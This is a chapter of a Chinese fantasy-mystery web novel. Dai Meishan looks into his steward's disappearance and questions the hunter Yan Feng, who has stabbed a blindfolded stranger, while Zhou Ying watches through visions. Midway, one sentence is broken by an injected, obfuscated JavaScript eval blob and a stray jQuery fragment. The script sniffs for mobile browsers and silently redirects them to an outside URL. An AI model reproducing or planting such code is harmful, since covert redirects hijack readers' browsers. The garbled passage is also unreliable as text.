离开酒馆，戴眉山依着酒馆掌柜所说往河边查探。
似乎因为耆老会将近，会稽城行人渐多，拖家带口、游湖赏景的亦不少。见生意上门，大大小小商贩横街而过，叫卖之声此起彼伏，城中一派欣荣景象。
戴眉山沿河走过一段路后，便遇到巡查仆人折返而来。
众人一看到他便拥了上来。戴眉山嫌太过张扬，屏退余人，只留下个小厮询问。
小厮摇头晃脑地说：“府君，我们沿河两岸找了一路，都没见到异常，要是再走，就得出城了。”
戴眉山略一沉思，吩咐道：“你去府中再调二十人马沿下游探查。”又指了两人，将“你们在城门口守着，若见到人，不必阻挠，即刻禀告。”
霍廉自小望着戴眉山长大，戴眉山视他如长如亲，双亲过世后，戴府更由他一手打理。老府君在时，时常教导戴眉山读万卷书不如行万里路，原想等耆老会过后，便将戴府托霍廉管照，他也出门见见外面天地。
没想到突然接到死讯。
生老病死本是人之常情，戴眉山亲眼见过许多次，本应视若平常。但就像酒馆掌柜说的，这事太不寻常了。
人可以死，但不能枉死，更不能死得这样不明不白。
至于耆老会，城中有此异动，耆老会恐也无法如常举行，想着，好似有块大石重重压在心上。
今天是个难得的逢晴日，河中传来琅琅歌声，游船如云，笑声不断。戴眉山抬头看了两眼，心中沉闷非但没有驱散，反而更加郁结，又想到方才应允之事，于是匆匆回府。
画面就消失在戴眉山赶挥戴府的路上。
周盈脑识突现一块空白，不远处，“赤狐”不耐烦地扯了扯红线，看来是赦心铃又出现了问题。周盈趁机空出脑子，乱七八糟一阵思索。
传闻商音竹与戴眉山一见钟情，结为夫妻，那么他们相识的契机会是什么？
为何后来戴眉山受擒她却一直不肯出现？
疑惑之际，自我意识在一片空白中不断回溯。只见会稽城中几条长河纵横交错，水面波光粼粼，桥上游人如织，白日高高悬于头顶，道道暖阳直射河面，格外刺目。
周盈突地打了个灵激，盗指玄冥插手过会稽城之事，那么，罗刹海其他人呢！
莱山罗罗、玉京子，还有……她瞟了门外的“赤狐”一眼，这些人在当年的事情中都扮演了什么角色？
莫非霍廉是在河边遇见了莱山罗罗，不幸被生夺魂魄，魂体分离，肉躯遇阳则散，才落得死不见尸的下场？
难道……难道罗刹海已经对会稽城下手？！
她想明白这点，与海若渊一个对视，在他手上迅速写下“恶鬼”两个字。
海若渊点点头，又在手心写了三个字，周盈看得分明，他写的正是“罗刹海”。
恶鬼的征兆早已经浮现，只是红尘喧嚣，这点微末苗头在当时根本不足以引起众人关注。如此看来，世界上不晓得有多少人像霍廉一样死得不明不白，落得连尸体都找不到的下场。
这一年是最后一次耆老会，耆老会结束的第三个月，便是“七日围城”。也就是在这一年年末，初代公室预言的恶鬼光明正大在世人面前出现。
之后，便是民不聊生，饿殍遍野，死尸成山……
脑中传来一阵剧痛，周盈揉了揉发胀的太阳穴。
忽然，严枫轻轻叫了一声，脸上露出不安的表情。
目前来看，他只在山上出现过一次，为何能知晓擅罪者和戴眉山的事情？
一举一动，又如此真实，好似亲身经历一般。
周盈心思浮动，隐隐察觉不对劲。然而不待她细想，一处府邸浮现脑海，是戴府！
但画面接续的不是戴眉山，而是已经入住戴府的擅罪者。
这个人来路不明，出言惊世骇俗，与他相关的事又太过玄奇，周盈当即撇开各种杂思，全心全意感知追命火传递的画面。
擅罪者一双眼睛依旧蒙上黑布。然而，不管是在骡马大会偶然相遇，还是通过赦心铃所见所闻，都可以肯定他绝对不是盲人。那么，他这个举动就十分耐人寻味。
双眼无法视物，行动亦受阻碍，擅罪者住的厢房离后园最近，出了厢房，他便攀着扶手，沿着墙垣缓缓而行。
走了一阵，身后突来阵急踏的脚步声，擅罪者随之停下动作，朝着声音来处缓缓转过身。
来的是戴府的小厮，奇道：“先生怎不在房里面歇息？”
擅罪者道：“房里太闷，也睡不着，想出来走走。”又道，“这里是什么地方？”
小厮以为面前人是个盲人，便道：“这是府君的海棠园，还没到开花的时候，并不好看。”
说着，暗暗摇摇头。意思是景色再好，你也看不见。
“难怪我听到有水声。”擅罪者站稳身子，对小厮道，“你不用管我，我只想慢慢走，许久没这样安宁了。”话中竟带着几分惬意。
小厮觉得这人古怪，料他也闹不出什么事，便不再与他啰嗦，自行告退。
擅罪者听见脚步声远去，靠在墙边，盘腿坐下。
秋日的海棠园，海棠花还没开，但园中多栽种常青树，并不萧条。墙上映着一片火红，是染了秋色的爬藤。不时来阵风，枝枝叶叶频频点头，热闹之余，又似有无限惬意。
擅罪者这一歇息就是许久，似乎真的在感受寸土宁静。
不多时，一阵狂风刮进海棠园，未发的海棠枝条应风而动，簌簌作响。
风声渐止，擅罪者缓缓起身，似要朝来时旧路返回。忽地，他回过头，面向无人的海棠园，道了声：“你看到了吗？”
不止周盈，海若渊面露讶异之色，暗暗奇道：“对着空无一人的海棠园他在说什么？”
“赤狐”则被吓得身体一缩，嘀咕道：“见鬼！”
这声“见鬼”还没说完，周盈差点儿惊呼出声。
因为擅罪者才走出两步，墙后面竟翻下个人。那人从后面抱住擅罪者，手里握了把明晃晃的钢刀，对着擅罪者，不由分说便是一顿乱戳。
那人来得太快，别说是蒙着眼睛的擅罪者，就连周盈、海若渊、“赤狐”都没注意到他是什么时候来的。回过神时，只见他发了狠地一刀一刀捅向擅罪者心肺，擅罪者胸前立刻被血淋淋染红了一片，继而口中冒出血沫，半天吭不出声，挺直身体，硬邦邦倒了下去。
跌倒瞬间，左手一松，赦心子铃磕碰出一记闷响。
那凶手却不逃跑，把刀一丢，双脚一软，绝望地倒在地上。
这时周盈才看见他的模样，竟是严枫！
入园处跑来四五个人，见到这种情景，顿时响起一声尖叫，宁静的院子里顷刻之间乱作一团。
众人压根儿没想到有人胆子这么大，竟敢入戴府行凶！被捅之人整个上身都被鲜血浸透，十分吓人。一时间，竟然无人敢上前施救。
正鸡飞狗跳着，一人高声叫道：“府君来了！”
戴眉山疾步走上，看见喷了一墙的血，又见倒在血泊中不省人事的擅罪者和被众人制住的严枫，脸色大变。
忙道：“快去广济堂请郎中。”
府丁勉强捡回意识，神色凄凄道：“府君，现在已经过了申时，医馆门早关了。”
“多带两个人，骑马，把大夫绑回来。”戴眉山心里乱作一团，略略镇定，吩咐道，“把人看好，一会儿我要亲自查问。”
说完，见到擅罪者嘴巴微微张闭，似还有气，又见他胸前一片殷红，不由得心悸。正想喊人抬头进屋，忽地瞄到他念珠下坠着的铃铛，脸色骤变。
天晚后，人烟渐渐散去，大街小巷，一片无声。
不出一刻，广济堂郎中便被架进了戴府。
会稽城属三不管之地，虽然富庶，寻常人却不敢久留。又是座孤城，下黑后鸡鸣狗盗的事情常有发生，杀人越货的事也不在少数。孙大夫正如往常一样关门打烊，忽然冲出一伙人不由分说就把他劫走。
在马背上一阵飞驰，骨头几乎抖得散架，因此他一下马便闭着眼止不住哼叫。
这时跑上个小厮，往他手里塞了不知什么东西。他拉开半边眼睛缝一看，金灿灿、黄澄澄，摸着硬邦邦，掂掂压手心，居然是枚掌心大小的金子！孙大夫瞬间喜笑颜开，精神亦抖擞起来。
戴眉山道：“人命关天，劳烦大夫了。”
孙大夫这才正了色，疾步走入屋内，只见个血人倒在床上，是死是活，一时竟看不出。
他伸出右手，食指并中指往那人脖颈上一探，这才松了口气。
擅罪者胸口衣料被尖刀划得稀碎，他拨开胸口碎布一看，密密麻麻，足足捅了三十几刀。孙大夫看得头皮发麻，面色一沉：“是谁下这样狠手？”手指颤抖不已，“有好几刀插进了腑脏。”
一旁小厮走上来道：“是山上猎户，名字叫严枫。”
“什么仇怨，非得下这种狠手，断人生路不算，还故意折磨！”他说得唾沫横飞，显然已经动了气。
小厮一时语塞，戴眉山道：“孙大夫，救人宜早不宜晚，耽搁不得，人已经拿下，此事稍后再说。”
“救人？”孙大夫对着床上一指，“捅成这样还救得了吗？”
戴眉山一怔，喃喃道：“真的救不了了？”
孙大夫走上前，神色凝重：“救不救得了另说，救不救却是我可以管的。”
说罢，口中迅速念出一串药材和所需器具。戴眉山记忆极佳，听一遍便记得一分不差，转头吩咐府中仆人准备东西。
孙大夫听了一阵，胡乱点点头，将人轰了出去。
戴眉山在厢房前左等右等，见奴仆进进出出，端进清水，抬出血水，甚是心惊。抬脚走上前两步，想了想，又不好去妨碍大夫手脚，到底也没进去打扰。
又想到当时严枫神情怪异，便嘱咐人在外面等候，等治疗结束及时报信，便独自走去拘禁之处。
看罢，周盈不觉看了看老者，心想，这便是他第一次与戴眉山见面。
戴府虽大，却未单独设下牢房，将严枫制服后，也只挑了间僻静的卧房把他单独关住。
戴眉山方靠近，便听见屋内一阵闹动，声音不大，不一会儿也渐渐停止。
他唤来看守府丁，低声探问里面情况。
小厮道：“他一会儿安静，一会儿发疯，静一阵闹一阵的，很是折腾。”
想了想，又说：“搞不好脑子有点毛病。”
说完，屋内果然又响起一阵骚动，并且伴随着噼里啪啦砸东西的声音。
戴眉山道：“开门，我进去看看。”
小厮道：“府君小心，这人气力大得很。”
戴眉山想了想，制止了他要开门的动作，把人拉到一边，又问：“我记得他是城外山上的猎户，你可熟悉他，说来与我听听。”
小厮把严枫情况大致说一说，临了又添一句：“看他不像这般心狠手辣的人，许是撞了鬼才变成这样。”
戴眉山听到他嘀咕，心中有了计较，听到屋里安静下来，这才让他打开了门。
一进门，屋内果然被砸得乱七八糟。严枫双腿双脚都被牢牢捆着，听见开门声，嚯地又站了起来。
他闹腾许久，力气疲软，这下又起得急，一时间站得不稳，高大身子摇摇欲坠。
戴眉山见状，伸手扶住他，把他带到椅子上坐着。可严枫面露凶光，脑袋一甩，胡乱撞开椅子，又滚到地上。
戴眉山索性蹲着，等他发作好，稍微镇定，才道：“你为何要闯入府中杀人？”
严枫一下滚到他身边，仰起脑袋，双眼带泪，冲他喊道：“那狗日的死了吧！”
“死了没，你说！”
戴眉山顿了顿，微微点头：“已经回天乏术了。”
周盈听着，只觉得他这话说得十分巧妙。严枫行凶，必然与擅罪者有深仇大恨，若告诉他人还没死，他必然不甘心又要大吵大闹。倘若知道自己找人救他，那便不好问了。但说人死了，又实在违背本心，更有故意欺骗之意。
因此，只说“回天乏术”，不直言死，也不算撒谎骗人。
果然，听到“回天乏术”四字后，严枫怔了怔，也不再闹事。
戴眉山也不忙发问，只在一旁观察他神色。
严枫“咯咯”干笑两声，脸上却无畅快得意之色。静默片刻，问了声“真的死了吗？”戴眉山不答话。
喉咙抽噎两声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796374|190652||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后，严枫竟不管不顾放声大哭。
戴眉山也不安慰他，等他哭够了，才去扶正椅子，搀他上座。
戴眉山道：“所以你为什么杀他？”
严枫变了脸色，情绪激昂，撞上桌子，吼道：“我才要问他为何杀我妻儿！”
“我的妻子，我的孩子，我们过得好好的，他为什么要跑来搞鬼！”
“搞你妈搞，害谁不好，为什么要害我一家！”
严枫骂得面红耳赤，喉咙嘶哑。
戴眉山道：“什么时候？”
“今天早上！”
戴眉山闻言一惊，城外离这里还有好长一段路，一来一回也要花好几个时辰，而且擅罪者早上分明在自己府上。他觉得此事古怪，心中思量一番，面上却不露半分异状。
“今日我家也有人遇难，遗体至今未寻回。”戴眉山顺着他心思说下去，“听人说，死前也见到了他。”
严枫恨恨道：“这人果真是个祸害，亏得他披了身和尚皮！”
戴眉山见他话头稍缓，知可以问下去，便道：“只是我那管家生不见人死不见尸，连身后事也无法周全。”
他说这话本带着真心实意，严枫听了，更有共鸣，当即大恸道：“我妻儿受他害……也好不过哪里去。”情到深处，又淌出两行热泪。
戴眉山道：“我府中人死得不明不白，至今查不到真相，严兄不如把事说与我听，待真相水落石出，公之于众，也能告慰死者在天之灵。”
严枫点点，当即把擅罪者如何深夜叩门，又如何问路，再到后来口出不详话语之事一一说来。
戴眉山仔细听来，觉得其中虽有不合常理之处，却也不足以定人死罪。然而，直到他提及怀中孩子身穿新制皮毛小袄，才终于察觉异样。
昨夜在酒馆外，擅罪者也曾告诫霍廉不可在河边行走。
前后一联想，戴眉山脸色微变。严枫浑然不觉，继续道：“他走后，我也没当个真。”话语之中，却有无限懊悔。
“第二日我照常带了猎具往山中寻猎，天一冷，山里野兽少出来活动，我比平时多走出两里路也一无所获。”
“想到孩子每每日中都要哭闹，我便赶了回去。”说着，他抹把眼泪，然而眼泪如断线的珠子，怎么也止不住，边哭边说，“你不知道，这孩子一哭他娘哄不好，我一抱着他就不哭了。”
“我就想，家里存粮也多，足够过冬了。等开春了，孩子大些，想必也不会这样哭闹，到时候我再好好出去打猎……”严枫泣不成声，“没想到……我一回去，就……就迟了这两里路……”
戴眉山道：“是他亲自动手的？”
“他敢！”严枫止了眼泪，“他有胆子害人，没胆子动手。”
他吼道：“我妻子孩子是被狼咬死的。”
戴眉山心中有了六分把握。
严枫身子一挺，任由脑袋在椅子上砸出一阵响声，言语更显疯狂：“他害我妻儿，我就要他狗命，哈哈哈哈……他死了，我一路撞下山，知道他要来这里……哈哈哈哈………活该他死在我手上！”
他边骂边笑，大喊大叫：“他死了活该，可为什么要带上我妻子！带上我孩子！我………呜呜呜呜………他们也死了……死了……他死了有什么用！他死活又关我什么事！呜呜呜………”
严枫哭得接不上气，一下子滚到地上，戴眉山要去扶，却怎么也拉不起来。
云顶峰之上，严枫脸上透出不安，似乎这段痛彻心扉的往事让他到老也无法安宁。
“有些事情或许忘了还要好些。”周盈心想。
画面中，戴眉山起身，走出房门。
“人怎样了？”戴眉山关上身后房门，低声问道。
小厮道：“霍管家家里来人了。”
画面一转，已到了早上的偏厅。
下面坐着一人，周盈瞪大了眼睛，听他道：“小人霍安，见过府君。”
霍安！
他怎么会掺和到当年的事情里？
周盈心里猛然闪出个念头，霍安既是当年亲历者之一，如今暴死云顶峰，只怕也与当年的事情脱不开干系。
一前一后，相隔百年，霍安样貌竟没什么变化，唯有神色间少了几分倨傲与残忍。
戴眉山道：“你与霍管家同姓，是他……”
霍安忙道：“我是他侄儿。”看着戴眉山神色平静，又道，“叔母走的那年，我和父亲来过这里，府君当时还小，想必记不得了。”
霍廉第一个妻子去世时戴眉山还没出世，知他口中说的“叔母”必是霍廉第二个妻子，也就是自己唤邓姨的。
当时霍家的确有人来吊丧，里面似乎真有个人叫霍安的。
眉山心中愧疚，如实道：“霍叔前夜不幸离世了。”
霍安瞪大了眼睛，“啊”了一声，追问道：“究竟发生了什么意外？”
戴眉山道：“应是失足落水。”他面有愧色，不知要如何向死者家属交代，迟疑一阵，方道，“遗体随水而流，还未打捞到。”
霍安一脸震惊，半晌说不出话。
戴眉山承诺道：“请放心，我已遣人沿河寻找，也许还能找到……遗体。”
霍安当即面露痛色，长叹一声：“多谢府君。”
酝酿片刻，才缓缓道：“叔叔回家没待半月就急着回来，家里人一问，原来是他心系耆老会。他说府君才接掌基业没多久，等府君有了夫人，他便可安心告老还乡，下次耆老会也不用他多嘴了。”
戴眉山听到这话，更是愧疚。
霍安道：“耆老会可还如期举行？”
会稽城中接连发生怪事，耆老会牵动又广，若事情未查清，为避免殃及无辜自然停办。但现在真相渐渐清晰——霍廉是酒后失足溺亡，猎户一家也是遭野兽袭击遇害。
只是擅罪者之事还混沌两端，难分难解。是以，戴眉山只是摇摇头，并未给出明确答复。
戴眉山心道：“严枫着急下山为妻儿报仇，恐连尸骨也还没来得及收殓。他妻儿之死虽可据理推论，但非亲眼看见，终究没个定数。”
想到这里，当即去找孙大夫探问情况。
一问才知，擅罪者已经转醒。